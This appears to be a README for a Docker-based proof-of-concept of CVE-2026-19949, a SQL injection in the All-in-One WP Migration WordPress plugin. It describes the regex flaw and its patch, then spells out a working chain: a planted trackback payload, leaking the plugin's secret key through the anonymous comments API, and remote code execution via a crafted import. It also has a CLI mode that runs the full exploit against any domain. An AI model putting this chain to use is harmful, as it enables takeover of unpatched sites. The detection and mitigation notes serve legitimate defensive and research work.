
Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution.
Unauthenticated second-order SQL injection in All-in-One WP Migration and Backup (WordPress)
that escalates to leaking the ai1wm_secret_key and, with it, to remote code execution (RCE).
Read this in: English · Español
| CVE | CVE-2026-19949 |
| Plugin | All-in-One WP Migration and Backup (ServMask), ≤ 7.109 |
| Patch | 7.110 (August 20, 2026) |
| CVSS | 8.8 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Prerequisite | An administrator exporting and restoring the site (a routine action with this plugin) |
| Researcher | Jack Taylor (Wordfence bug bounty program) |
⚠️ Educational and defensive use only. This lab attacks a WordPress site running on your own machine, inside Docker containers. Do not use it against systems you do not own or are not explicitly authorized to test.
The plugin's export/import flow dumps the database to SQL (database.sql
inside the .wpress) and, on import, rewrites every statement with
Ai1wm_Database::replace_table_values() to substitute URLs and table
prefixes. To locate string literals it uses the regex:
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
The problem is the negative lookbehind (?<!\\): it inspects a single byte
before each candidate closing quote instead of counting the full run of
backslashes. In a MySQL dump, data ending in \ is written as ...\\' — a
closing quote preceded by an even number of backslashes (a real string
ending in a backslash) — but the regex believes it is escaped and
over-captures the next literal. The callback then runs
unescape_mysql → replace_serialized_values → escape_mysql over the
over-captured value, and that cycle re-emits an unbalanced quote/backslash
sequence that flips the MySQL string boundary in the resulting statement,
promoting attacker-controlled data into executable SQL.
With the trackback planted (see §4), the row in database.sql reads:
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
The author ends in \ at the data level → the dump writes it as \\ → the
closing quote is preceded by an even run. The regex over-captures up to
the opening quote of the next field and the callback re-escapes the whole set:
'Jack Blogs\\\\',' ← over-captured content
unescape → 'Jack Blogs\\',' ← strtr collapses the pairs
escape → 'Jack Blogs\\\\\', ← a NEW escaped quote has appeared
output → 'Jack Blogs\\\\\','…' ← the `\ , '` pair flips the string boundary
From that point on, everything that followed in the statement is re-tokenized with inverted parity (data that was a string becomes code and vice versa). The patched 7.110 regex processes the same line and returns it unchanged.
You can watch it byte by byte, without exploiting anything, with
make demo-flip (exploit/04_demo_flip.php), which runs the REAL 7.109 and
7.110 plugin code over the same dump line.
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
The new pattern tokenizes MySQL literals correctly: either a character that is
not a quote/backslash, or an escape pair \x, with possessive quantifiers. An
even backslash run no longer confuses the literal's closing quote.
The chain published by Wordfence (Sept. 2026) has four steps:
wp-trackback.php?p=<id>). The blog name
(→ comment_author) ends in \ and the URL (→ comment_author_url)
carries the payload. WordPress stores both without touching the backslash.
In the published variant, the first trackback acts as a time bomb: it
forces the import pass to be cut off (10 s limit) so the payload executes
in a later pass, once the importer has restored the site's
ai1wm_secret_key into wp_options (the exporter excludes it from the
dump; the importer rewrites it between passes).ai1wm_secret_key into an approved comment
of type comment, visible in the comments REST API without
authentication.admin-ajax.php?action=ai1wm_import is registered for anonymous
users too (wp_ajax_nopriv_ai1wm_import) and its only barrier is
ai1wm_verify_secret_key(). With the leaked key, the attacker drives the
import chain with their own .wpress containing a mu-plugin; the
Ai1wm_Import_Mu_Plugins step (priority 270 of the chain) extracts it to
wp-content/mu-plugins/ → code execution on the next page load.This repository verifies the chain end to end with a single planted trackback (the time bomb is not needed in the lab: the row executes in a pass subsequent to the key being restored).
The researcher's exact exploit is not public (exhaustive search on
2026-09-07: GitHub — the 2 existing repos are an empty template and a mass
tool targeting nonexistent endpoints —, Exploit-DB/PacketStorm: none,
Sploitus only indexes those fake repos, WPScan has no PoC, forums only carry
news; forensic detail in research/poc-publica/ANALISIS.md).
We derived it ourselves from the mechanics of the bug
(exploit/investigacion/). Design:
\ → the vulnerable regex's one-byte lookbehind
over-captures the next literal and the unescape→escape cycle flips the
string boundary.comment_author and a , string absorb the
offset; a leading comma in the URL restores the swallowed structural
separator)./**/ as separators:
\' and, in code position,
would leave an orphan backslash (error 1064) — hence hex
(0x616931776d… = "ai1wm_secret_key");sanitize_url strips spaces (and prepends http:// to anything not
starting with /) — hence the /*pwn*/ head and the /**/;comment_author_url) = the subquery reading
the key → the key lands in a public field; column 11 = 0x31
('1', approved comment); column 13 = 0x636f6d6d656e74
('comment', visible in the anonymous REST);) closes the tuple with exactly 15 values and # (a MySQL comment
needing no space, preserved by sanitize_url) neutralizes the rest of
the original statement.SERVMASK_PREFIX_options: the importer rewrites
SERVMASK→real prefixes before the regex pass, so the payload works on
sites with any table prefix (verified). The only target-specific datum
is its URL, carried in the excerpt to trip the importer's strpos filter
(it only rewrites lines containing it).The resulting statement (the one MySQL executes during the restore):
comment_author_url = (SELECT option_value FROM <prefix>_options WHERE option_name='ai1wm_secret_key') — the real key ends up in a field the REST
API exposes without authentication.
| Chain step | Status | Where |
|---|---|---|
| Reproducible vulnerable install (WP 7.1 + plugin 7.109) | ✅ | make lab |
| Unauthenticated trackback planting (byte-exact, auto-approved) | ✅ | make plant |
| Admin export; dump contains the planted row | ✅ | make export |
| Root cause: 7.109 regex flips the string boundary (7.110 leaves it intact) | ✅ | make demo-flip |
| Admin restore: the flip rewrites the SQL and corrupts/drops the row on 7.109 | ✅ | make restore |
| Key leak (our derived payload) → real leak via unauthenticated REST | ✅ | make leak |
| RCE: unauthenticated import with the key → mu-plugin executed | ✅ | make rce-auto |
| Negative control: on 7.110 the row survives intact, no leak | ✅ | make control-7110 |
| WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 matrix: full chain ✓ on all | ✅ | research/test-wp-versions.sh |
| Full remote chain (HTTP-only, valid against a real domain) | ✅ | python3 cli/poc.py explotar … |
End-to-end verified outcome: after the admin's export+restore, the real
ai1wm_secret_key shows up as the author_url of an approved comment in
GET /wp-json/wp/v2/comments — with no authentication whatsoever — and the
RCE phase runs with it (mu-plugin extracted and executed, evidence markers in
wp-content/). On 7.110 the row survives intact (the payload stays inert
data) and there is no leak.
The RCE phase is additionally demonstrated in isolation: its only input
is the key, which can be passed by hand (make rce KEY=…) — exactly the
attacker's position after the leak.
Matrix run with bash research/test-wp-versions.sh 7.0 6.9 6.8 (lab rebuilt
per version, plugin 7.109, identical payload):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
The mechanics are stable across all of them: sanitize_url preserves the
payload, wp_comments keeps its 15 columns, and wp-trackback.php remains
operational. The payload is table-prefix independent (see §5).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION and
WP_VERSION configurable (7.109 default, 7.110 control)
docker/wordpress/Dockerfile victim site image: wp-cli + plugin from WordPress.org
setup/init.sh core install, plugin activation, ping-open post,
comments without moderation
exploit/ ← numbered PoC phases
01_plant_trackback.sh Phase 1 — malicious trackback (unauthenticated)
02_export.sh Phase 2a — admin export (via aiowpm_client)
03_restore.sh Phase 2b — admin restore + BEFORE/AFTER of the row
04_demo_flip.php Root cause byte by byte: 7.109 vs 7.110 regex
05_build_wpress.py Builds the malicious .wpress (package.json + mu-plugin)
06_rce_unauth.py Phase 3 — unauthenticated import with the key → RCE
07_leak_key.sh Phase 3a — reads the leaked key from anonymous REST
aiowpm_client.py Client for the plugin's AJAX protocol (export/import
by priorities, like its JavaScript)
wpress.py .wpress format reader/writer (4377-byte blocks)
mu_plugin.php BENIGN mu-plugin (evidence markers, no shell)
investigacion/ Harnesses and fuzzers used to DERIVE the payload:
harness.php (real plugin pipeline + test MySQL),
tuning/tests/fuzzers, analysis NOTAS.md (Spanish)
cli/poc.py Demo CLI: lab / scan / verificar / explotar
web/index.html Bilingual CVE landing page (vulnerability-database
style; no external dependencies)
research/
test-wp-versions.sh Compatibility matrix per WordPress version
poc-publica/ANALISIS.md Forensic refutation of the fake "public PoCs" (Spanish)
Makefile Targets: lab, plant, export, restore, demo-flip,
leak, rce-auto, full-demo, control-7110, demo-cli…
README.md / README.en.md This documentation (ES/EN)
.gitignore Excluded: reports with keys, generated .wpress, plugin
zips/sources (third party), downloaded fake PoCs
Artifacts generated while running and not shared (see .gitignore):
informes/ (contains leaked keys), exploit/malicious.wpress, plugin-src/
(extracted 7.109/7.110 sources used for diffing), research/*.zip (original
zips from WordPress.org), research/database.sql,
research/backup-legit.wpress, and the files of the analyzed fake PoCs.
Requirements: Docker (with the compose plugin), make, python3 with requests,
curl.
make full-demo # full lab from scratch: lab → plant → export → restore →
# flip → leak → rce (all of the above in one command)
Expected output (abridged):
FASE 1 trackback planted unauthenticated (error 0, comment_approved=1)
FASE 2a export OK → .wpress in ai1wm-backups/
FASE 2b restore: BEFORE there are 2 trackbacks → AFTER only the benign one:
the row ending in '\' is lost (rewritten/corrupt INSERT on 7.109)
FLIP 7.109 regex: 'Jack Blogs\\\\', → 'Jack Blogs\\\\\',' (boundary flipped)
7.110 regex: the line comes out IDENTICAL
LEAK ai1wm_secret_key visible in the comments REST without authentication
RCE anonymous import with the key → /var/www/html/PWNED_CVE_2026_19949.txt
+ wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
Victim site access: http://localhost:8080 — admin / admin-password-123
(public post ID 4 with open pings and comments).
make lab # bring up / initialize the lab (plugin 7.109)
make plant # Phase 1 — plant the trackback (anonymous)
make export # Phase 2a — export as admin
make restore # Phase 2b — restore as admin (shows BEFORE/AFTER)
make demo-flip # root cause: 7.109 vs 7.110 on the same line
make leak # Phase 3a — read the leaked key from REST (anonymous)
make rce KEY=XXXX # Phase 3 — RCE passing the key by hand
make rce-auto # Phase 3 — RCE chained with the leaked key
make control-7110 # negative control with the patched plugin
make lab-7109 # back to the vulnerable lab after the control
make demo-cli # full demo via CLI (+ report and negative control)
make scan-cli URL=https://www.example.com # non-invasive detection
make landing # serve the CVE landing page at http://localhost:8090
make status | logs # container status / WordPress log
make down | clean # stop / stop and remove volumes and artifacts
A single command with all modes; writes reports to informes/ (text + JSON;
that folder is kept out of the repository because it contains keys):
python3 cli/poc.py lab # full demo in the lab (chain + 7.110 control)
python3 cli/poc.py scan https://www.yourdomain.com # NON-invasive detection (plugin version)
python3 cli/poc.py verificar https://www.yourdomain.com # key already leaked? (anonymous REST)
python3 cli/poc.py explotar https://www.yourdomain.com --acepto-responsabilidad \
--admin-user YOUR_ADMIN --admin-pass YOUR_PASS --rce # full chain on YOUR domain
lab brings up the lab, runs the whole chain plus the 7.110 negative
control, and writes the report (--sin-control to skip it).scan is 100 % passive: reads the plugin's public readme.txt, checks
wp-trackback.php and the comments REST. Returns a verdict.verificar re-checks whether the key already appears in the anonymous REST
(e.g. hours after planting, once the admin has done a backup+restore).explotar is INVASIVE and requires --acepto-responsabilidad plus an
interactive confirmation of the domain: plants the trackback, simulates the
admin (export → backup download → re-upload and restore; HTTP-only, with
credentials YOU provide for YOUR site), reads the leaked key and, with
--rce, leaves a benign marker via anonymous import. Without admin
credentials: it plants and waits (--esperar to hold for the leak;
--post-id to pick a post; --no-interactivo for scripting).A static bilingual page (ES/EN, header toggle, remembered preference) that explains the CVE and the payload in vulnerability-database style: overview, chain, interactive payload breakdown segment by segment, verification matrices and mitigation.
make landing # serves http://localhost:8090
No external dependencies (no CDN, no third-party JS): works by opening
web/index.html directly or with any static server.
wp-trackback.php and pingbacks
(discussion settings / WAF), restrict admin-ajax.php for anonymous users
where possible, and monitor for files appearing in
wp-content/mu-plugins/ and for the ai1wm_secret_key option in anomalous
contexts (e.g. comments).comment_author ends in \ or whose comment_author_url contains
SELECT/**/, CONCAT(, long 0x… literals or /*…*/; approved comments
whose author_url is a 12-character alphanumeric string with no scheme.exploit/investigacion/, notes in Spanish): we
started from a harness (harness.php) that loads the REAL 7.109 plugin
classes and runs the pipeline against a test MySQL holding a fake key. The
fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php,
bruteforce_author.php) explored critical alphabets over the four
attacker-controllable trackback fields; afinar_payload.php tuned the
number of expressions (N=12) and test_payload_final.php validated the
complete design. NOTAS.md records the analysis, including the structural
walls (fixed fields of the wp_comments INSERT, the importer-imposed
sql_mode, the site-URL strpos filter).research/poc-publica/ANALISIS.md,
in Spanish): the two GitHub repos claiming one use nonexistent endpoints
(aio-migration/v1 with permission_callback vs the real ai1wm/v1), the
wrong upload field (file vs upload_file), ZIP instead of .wpress, and
a circular premise. No tertiary source has an original PoC.lib/vendor/servmask/database/ class-ai1wm-database.php:1637; extracted sources sit in plugin-src/,
not shared)This material is published for educational and defensive purposes:
understanding the vulnerability, verifying the patch, and building
detections. The chain has only been executed against self-owned Docker labs.
Attacking third-party systems without written authorization is illegal in
most jurisdictions. If you run affected sites: update to ≥ 7.110, rotate the
ai1wm_secret_key (deactivate/reactivate the plugin or delete the option so
it is regenerated) and audit wp-content/mu-plugins/ and recent comments.